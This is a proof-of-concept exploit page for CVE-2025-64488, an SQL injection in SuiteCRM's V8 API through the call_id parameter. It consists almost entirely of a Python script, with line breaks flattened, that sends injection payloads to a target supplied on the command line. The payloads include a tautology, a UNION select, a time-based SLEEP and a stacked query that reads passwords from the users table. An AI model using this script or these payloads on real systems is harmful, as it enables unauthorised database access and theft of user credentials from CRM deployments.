CVE-2025-64488 SuiteCRM call_id参数SQL注入漏洞

import requests import sys # CVE-2025-64488 SuiteCRM SQL Injection PoC # Target: SuiteCRM versions <= 7.14.7 and 8.0.0-beta.1 to 8.9.0 def exploit_sqli(target_url, payload): """ Exploit SQL injection via call_id parameter """ endpoint = f"{target_url}/Api/V8/module/Calls" headers = { 'Content-Type': 'application/json', 'Authorization': 'Bearer <your_token>' } # Malicious call_id payload data = { 'data': { 'type': 'Calls', 'attributes': { 'name': 'Test Call', 'call_id': payload # SQL injection payload here } } } try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) print(f"Status: {response.status_code}") print(f"Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-64488.py <target_url>") sys.exit(1) target = sys.argv[1] # Example payloads for testing payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL,NULL,NULL,NULL-- -", "1' AND SLEEP(5)-- -", "1'; SELECT password FROM users LIMIT 1-- -", ] for payload in payloads: print(f"\n[*] Testing payload: {payload}") exploit_sqli(target, payload)